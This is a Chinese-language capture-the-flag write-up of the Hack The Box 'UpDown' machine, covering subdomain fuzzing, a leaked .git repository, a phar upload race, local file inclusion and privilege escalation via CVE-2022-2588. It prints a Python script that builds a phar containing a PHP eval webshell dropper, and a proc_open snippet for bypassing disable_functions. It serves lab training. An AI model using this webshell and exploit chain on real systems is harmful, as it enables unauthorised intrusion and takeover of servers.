HTB-UpDown

OverView

  • 子域名收集
  • gitdump 读取 /.git
  • php proc_open 命令执行

Enumeration

Nmap

nmap -sV 10.10.11.177

Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-21 15:25 CST
Nmap scan report for 10.10.11.177
Host is up (0.31s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.37 seconds

开放了两个端口 22 和 80

siteisup.htb

SubDomain Gather

子域名收集

sudo wfuzz -c -f subdomain.txt -w /usr/share/amass/wordlists/subdomains.lst -u "http://siteisup.htb" -H "host:FUZZ.siteisup.htb" --hl 39

扫到了 dev 域名,那么就将它加入 /etc/hosts 文件中

Dict Scan

扫目录

image-20221221190857484

打开 /dev/.git 可以发现能够下载源码

image-20221221191020995

Git leak

但是用 GitHack 下载不下来,然后去 https://github.com/arthaud/git-dumper 下载了 git-dump。

sudo pip install git-dump

安装在了 ~/.local/bin 路径下

然后

git-dumper http://10.10.11.177/dev/.git /tmp

下载到了 admin.php

<?php
if(DIRECTACCESS){
        die("Access Denied");
}

#ToDo
?>

changelog.txt

Beta version

1- Check a bunch of websites.

-- ToDo:

1- Multithreading for a faster version :D.
2- Remove the upload option.
3- New admin panel.

check.php

<?php
if(DIRECTACCESS){
        die("Access Denied");
}
?>
<!DOCTYPE html>
<html>

  <head>
    <meta charset='utf-8' />
    <meta http-equiv="X-UA-Compatible" content="chrome=1" />
    <link rel="stylesheet" type="text/css" media="screen" href="stylesheet.css">
    <title>Is my Website up ? (beta version)</title>
  </head>

  <body>

    <div id="header_wrap" class="outer">
        <header class="inner">
          <h1 id="project_title">Welcome,<br> Is My Website UP ?</h1>
          <h2 id="project_tagline">In this version you are able to scan a list of websites !</h2>
        </header>
    </div>

    <div id="main_content_wrap" class="outer">
      <section id="main_content" class="inner">
        <form method="post" enctype="multipart/form-data">
                            <label>List of websites to check:</label><br><br>
                                <input type="file" name="file" size="50">
                                <input name="check" type="submit" value="Check">
                </form>

<?php

function isitup($url){
        $ch=curl_init();
        curl_setopt($ch, CURLOPT_URL, trim($url));
        curl_setopt($ch, CURLOPT_USERAGENT, "siteisup.htb beta");
        curl_setopt($ch, CURLOPT_HEADER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        $f = curl_exec($ch);
        $header = curl_getinfo($ch);
        if($f AND $header['http_code'] == 200){
                return array(true,$f);
        }else{
                return false;
        }
    curl_close($ch);
}

if($_POST['check']){

        # File size must be less than 10kb.
        if ($_FILES['file']['size'] > 10000) {
        die("File too large!");
    }
        $file = $_FILES['file']['name'];

        # Check if extension is allowed.
        $ext = getExtension($file);
        if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
                die("Extension not allowed!");
        }

        # Create directory to upload our file.
        $dir = "uploads/".md5(time())."/";
        if(!is_dir($dir)){
        mkdir($dir, 0770, true);
    }

  # Upload the file.
        $final_path = $dir.$file;
        move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");

  # Read the uploaded file.
        $websites = explode("\n",file_get_contents($final_path));

        foreach($websites as $site){
                $site=trim($site);
                if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
                        $check=isitup($site);
                        if($check){
                                echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
                        }else{
                                echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
                        }
                }else{
                        echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
                }
        }

  # Delete the uploaded file.
        @unlink($final_path);
}

function getExtension($file) {
        $extension = strrpos($file,".");
        return ($extension===false) ? "" : substr($file,$extension+1);
}
?>
      </section>
    </div>

    <div id="footer_wrap" class="outer">
      <footer class="inner">
        <p class="copyright">siteisup.htb (beta)</p><br>
        <a class="changelog" href="changelog.txt">changelog.txt</a><br>
      </footer>
    </div>

  </body>
</html>

index.php

<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
        define("DIRECTACCESS",false);
        $page=$_GET['page'];
        if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
                include($_GET['page'] . ".php");
        }else{
                include("checker.php");
        }
?>

.htaccess

SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header

猜测大概意思也就是我们需要在请求头中加上

Special-Dev: only4dev

然后访问 dev.siteisup.htb 这个子域名就能访问到这个运维开发站点,也就是上面的源码

Burp Suite 上加上这个

image-20221221195445241

然后访问 dev.siteisup.htb 这个域名就可以发现了多了管理员页面了。可以上传文件。但是怎么利用呢?从上面 .git 泄露下载到的代码可以发现不允许上传 php 文件,但是可以上传 phar 文件。我们可以尝试上传 phar 文件并且访问看看能不能解析。

但是上传的文件通过 curl 的方式对多个网址进行解析,最后并删除该文件。上传到 uploads 目录下。也就是说如果我们提供足够多的网址,在 curl 的过程中就会花费一定的时间,这时候我们去尝试访问 phar 文件。

ok,接下来写一个脚本生成这个 phar 文件吧

i = 0
with open("e.phar",mode="w+") as f:
    while i < 99:
        f.write("https://baidu.com")
        f.write("\n")
        #f.write("<?php phpinfo()?>;")
        i = i + 1
    f.write("<?php file_put_contents('/tmp/test.php','<?php @eval($_REQUEST[1]);')?>")
    f.write("\n")
    while i < 299:
        f.write("http://baidu.com")
        f.write("\n")
        i = i + 1

OK,生成了 e.phar 现在我们上传吧,但是问题来了,我们如何能够找到这个文件呢?查看源码发现是对文件目录进行了 md5 加密的

所幸的是,网站存在目录遍历漏洞。我们可以很轻松的找到我们文件存放的位置

6

这时候点击这个 phar,尝试在 tmp 目录下写入 shell 然后再用文件包含漏洞。

成功!

7

查看一下 phpinfo 有趣的是,即便 disable_functions 中存在许多函数,我们蚁🗡还是可以执行一定的命令

我们权限只有 www-data,连 user.txt 都读取不了。下面需要提权。方法有两种。

方法一: 我先上传了 PEASS-ng 这个辅助提权脚本。然后尝试 CVE-2022-2588 https://github.com/Markakd/CVE-2022-2588, 发现直接可以在 /etc/passwd 写下了一个 root 用户。显然是成功了。可是,我这是用蚁剑连接的 shell,并不是交互式的。而想要提权除了运行那个文件还需要 su user 输入密码 user。而在蚁🗡的 shell 是做不到的。

尝试反弹 shell,但是又不出网。卡了好久。然后在群里面问了一下学长,原来可以用哥斯拉 shell 管理工具的的 super 终端。

8

确实是好东西,终于有一个交互式 shell 了,虽然有点慢,但是可以提权了

End

有趣的是,即便 disable_functions 中存在许多函数,我们蚁🗡还是可以执行一定的命令

image-20221221205640311

后面看了题解才知道原来可以用 proc_open 函数执行命令

<?php 
    $descript = array(
0 => array("pipe","r"),
1 => array("pipe","w"),
2 => array("file","/tmp/error-output.txt","a")
);
$process = proc_open('sh',$descript,$pipes,$cwd,$env);
if(is_resource($process)) {
    fwite($pipes[0],'touch aaaaaa.txt');
    fclose($pipes[0]);
    echo stream_get_contents($pipe[1]);
    fclose($pipes[1]);
    $return_vale = proc_close($process);
    echo "command returned $return_value\n";
}
版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇